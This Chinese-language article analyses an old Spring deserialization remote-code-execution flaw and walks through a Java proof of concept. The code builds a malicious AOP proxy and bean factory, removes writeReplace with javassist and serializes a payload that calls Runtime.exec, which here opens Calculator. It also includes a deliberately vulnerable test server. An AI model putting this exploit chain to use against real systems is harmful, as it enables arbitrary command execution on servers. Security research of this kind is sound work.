导语:这篇文章的内容是关于一个老的RCE漏洞的分析和利用,这个漏洞产生的原因是因为应用程序的反序列化过程中接收了来自不受信任来源的数据流,并且在应用程序的类路径中存在Spring。我前段时间写了一个Exp来利用这种序列化漏洞,并决定公布我
这篇文章的内容是关于一个老的RCE漏洞的分析和利用,这个漏洞产生的原因是因为应用程序的反序列化过程中接收了来自不受信任来源的数据流,并且在应用程序的类路径中存在Spring。我前段时间写了一个Exp来利用这种序列化漏洞,并决定公布我的Exp,因为我最近看了WhiteSource Software的一份研究报告,说由于开源组件没有及时更新导致这个漏洞成为最近流行的漏洞中的Top 5。
请注意,为了避免受到这个漏洞的攻击,不要在你的应用程序的classpath中包含存在漏洞的Spring库,你可以使用RMI或Spring的HttpInvoker对不受信任的来源的数据流进行反序列化。
由于我找不到任何已经公开的Exp,所以我决定自己动手实现,同时在这个过程中学习一些东西。Spring announcement大会中并未透漏太多的细节,但幸运的是这个漏洞的发现者——沃特·科卡茨(@WouterCoekaerts)在他自己的网站中给出了关于这个漏洞的游一些细节:
JdkDynamicAopProxy由DefaultAopProxyFactory在内部使用。它是一个InvocationHandler,所以它可以和java.lang.reflect.Proxy一起使用来动态处理方法调用。代理应该委托哪个对象调用目标,可以使用TargetSource在JdkDynamicAopProxy中进行配置。某些TargetSources可以配置为指向BeanFactory中的一个Bean,它可以包含任何以bean定义的形式存在的代码。所有这些对象(Proxy,JdkDynamicAopProxy,AbstractBeanFactoryBasedTargetSource,DefaultListableBeanFactory,AbstractBeanDefinition)都是可序列化的,并且代理可以配置为实现应用程序可能期望的任何接口。这意味着攻击者可以将它们发送到流中任何对象的位置,并且当接收应用程序调用反序列化对象上的任何方法时,它会触发任意代码的执行。在正常情况下,DefaultListableBeanFactory从不包含在序列化流中。它有一个writeReplace方法,在序列化之前用一个SerializedBeanFactoryReference替换它; 对已经存在的bean工厂的引用。但只有序列化被阻止(在攻击者一方,它很容易被覆盖),而不是反序列化。
不知何故,上面的内容看起来难以理解,所以让我们先来分析一下它,同时编写一个Exp:
首先,我们需要了解什么是动态代理。就目前来说,可以理解为,为任何Java接口定义一个代理,所以任何对接口的调用都可以被代理拦截和代理。必须为代理配置一个InvocationHandler,它将处理所有被拦截的调用。
Spring的DefaultAopProxyFactory有一个静态方法createAopProxy,它返回一个特定的AOP配置的InvocationHandler。这个配置是作为一个AdvicedSupport提供的,我们可以基本上选择是否希望工厂类返回一个Dynamic或一个CGLIB代理并设置TargetSource。TargetSource是用于获取AOP调用的当前“目标”,TargetSource指向了真正处理接口方法调用的对象。
我们将使用一个配置了BeanFactory的TargetSource,所以任何hook的调用都将由我们的bean工厂返回的一个全新的Bean来处理。到目前为止,代码如下所示:
// AbstractBeanFactoryBasedTargetSource System.out.println("[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory"); SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource(); targetSource.setTargetBeanName("exploit"); targetSource.setBeanFactory(beanFactory); // JdkDynamicAopProxy (invocationhandler) System.out.println("[+] Creating the handler and configuring the target source pointing to our malicious bean factory"); AdvisedSupport config = new AdvisedSupport(); config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy config.setTargetSource(targetSource); DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory(); InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config); // Proxy System.out.println("[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler"); Contact proxy = (Contact) Proxy.newProxyInstance(Contact.class.getClassLoader(), new Class<?>[] { Contact.class }, handler);
beanFactory还没有被创建,所以我们现在需要做的就是创建一个BeanFactory,在它实例化的时候返回要进行漏洞利用的bean,然后就可以执行任意的命令。
首先,我们将建立一个使用工厂方法创建的bean(而不是使用构造函数),当Factory实例化Bean时它将返回一个java.lang.Runtime实例。
GenericBeanDefinition runtime = new GenericBeanDefinition(); runtime.setBeanClass(Runtime.class); runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static
现在,我们需要以我们的有效载荷作为参数来执行exec。我们不能使用FactoryMethod,因为它没有参数,所以我们将使用MethodInvokingFactoryBean。这个FactoryBean将返回一个静态或实例方法调用结果的值。
所以这里的想法是我们将这个FactoryBean定义为处理我们的代理调用的bean,所以当TargetSource需要一个新的bean来处理hook的调用时,它会实例化我们的MethodInvokingFactory,它将通过执行我们的有效载荷来创建新的bean。所以最后我们将返回一个java.lang.UNIXProcess(由Runtime执行返回)作为处理代理调用的类。这会执行失败,因为服务器将尝试将其转换到它期望的类,通常它不是一个进程;)
// Exploit bean to be registered in the bean factory as the target source GenericBeanDefinition payload = new GenericBeanDefinition(); payload.setBeanClass(MethodInvokingFactoryBean.class); payload.setScope("prototype"); payload.getPropertyValues().add("targetObject", runtime); payload.getPropertyValues().add("targetMethod", "exec"); payload.getPropertyValues().add("arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));
从上面的分析来看,我们只需要创建一个bean工厂,并将我们的有效载荷 bean 注册为TargetSource将要实例化的要进行漏洞利用的bean。唯一的问题是,虽然DefaultListableBeanFactory是可序列化的,但是它包含一个writeReplac()方法,它将在序列化时用引用代替工厂。如果服务器不知道序列化的引用,那么我们的反序列化将失败。为了绕过这个限制,我们将使用javaassist修改DefaultListableBeanFactory字节码,以除去writeReplace()方法(实际上是进行了重命名):
// Get a DefaultListableBeanFactory modified so it has no writeReplace() method // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a "attempted duplicate class definition for name" exception System.out.println("[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method"); Object instrumentedFactory = null; ClassPool pool = ClassPool.getDefault(); try { pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader())); CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory"); // Call setSerialVersionUID before modifying a class to maintain serialization compatability. SerialVersionUID.setSerialVersionUID(instrumentedClass); CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace"); //method.insertBefore("{ System.out.println("TESTING"); }"); method.setName("writeReplaceDisabled"); Class instrumentedFactoryClass = instrumentedClass.toClass(); instrumentedFactory = instrumentedFactoryClass.newInstance(); } catch (Exception e) { e.printStackTrace(); } // Modified BeanFactory DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory; beanFactory.registerBeanDefinition("exploit", payload);
到目前为止,如果我们尝试序列化工厂,我们将会得到一个错误,因为尽管一个bean工厂是可序列化的,但它包含的成员是不可序列化的。
幸运的是,这些成员可以在不影响bean生成的情况下被注销。我们将使用Java反射来注销它们:
// Preparing BeanFactory to be serialized System.out.println("[+] Preparing BeanFactory to be serialized"); System.out.println("[+] Nullifying non-serializable members"); try { Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues.setAccessible(true); constructorArgumentValues.set(payload,null); System.out.println("[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues()); Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides.setAccessible(true); methodOverrides.set(payload,null); System.out.println("[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides()); Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues2.setAccessible(true); constructorArgumentValues2.set(runtime,null); System.out.println("[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues()); Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides2.setAccessible(true); methodOverrides2.set(runtime,null); System.out.println("[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides()); Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver"); autowireCandidateResolver.setAccessible(true); autowireCandidateResolver.set(beanFactory,null); System.out.println("[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver()); } catch(Exception i) { i.printStackTrace(); System.exit(-1); }
现在,序列化我们的受害者的服务器所期望的类的恶意代理的工作都已经准备好了,在我们的例子中,叫做Contact类:
// Now lets serialize the proxy System.out.println("[+] Serializating malicious proxy"); try { FileOutputStream fileOut = new FileOutputStream("proxy.ser"); ObjectOutputStream outStream = new ObjectOutputStream(fileOut); outStream.writeObject(proxy); outStream.close(); fileOut.close(); } catch(IOException i) { i.printStackTrace(); } System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
让我们运行exploit来生成恶意代理的序列化版本:
[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method [+] Creating malicious bean definition programatically [+] Preparing BeanFactory to be serialized [+] Nullifying non-serializable members [+] payload BeanDefinition constructorArgumentValues property should be null: null [+] payload BeanDefinition methodOverrides property should be null: null [+] runtime BeanDefinition constructorArgumentValues property should be null: null [+] runtime BeanDefinition methodOverrides property should be null: null [+] BeanFactory autowireCandidateResolver property should be null: null [+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory [+] Creating the handler and configuring the target source pointing to our malicious bean factory [+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler [+] Serializating malicious proxy [+] Successfully serialized: com.sun.proxy.$Proxy0
为了证明它的工作原理,我们将编写一个有漏洞的服务器来反序列化我们的流并将其转换为Contact类:
package com.company; import com.company.model.Contact; import java.io.IOException; import java.io.ObjectInputStream; import java.io.FileInputStream; public class SerializationServer { public static void main (String[] args) { try { FileInputStream fileIn =new FileInputStream("proxy.ser"); ObjectInputStream in = new ObjectInputStream(fileIn); Contact contact = (Contact) in.readObject(); System.out.println("[+] Running method in deserialized object"); System.out.println("[+] Payload: " + contact.getName()); in.close(); fileIn.close(); } catch(IOException i) { i.printStackTrace(); System.exit(-1); } catch (ClassNotFoundException c) { System.out.println("Class not found"); c.printStackTrace(); System.exit(-1); } } }
让我们运行它:
[+] Running method in deserialized object Exception in thread "main" org.springframework.aop.AopInvocationException: AOP configuration seems to be invalid: tried calling method [public abstract java.lang.String com.company.model.Contact.getName()] on target [[email protected]]; nested exception is java.lang.IllegalArgumentException: object is not an instance of declaring class at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:317) at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:196) at com.sun.proxy.$Proxy0.getName(Unknown Source) at com.company.SerializationServer.main(SerializationServer.java:17) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:601) at com.intellij.rt.execution.application.AppMain.main(AppMain.java:120) Caused by: java.lang.IllegalArgumentException: object is not an instance of declaring class at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:601) at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:309) ... 8 more
由于我们期望服务器能够发生崩溃,因为我们的代理返回了一个java.lang.UNIXProcess,并且服务器期待一个Contact类,但是由于我们的恶意计算器是在后台运行的,所以要发生奔溃就已经太迟了。
你可以在github中找到完整的漏洞利用代码。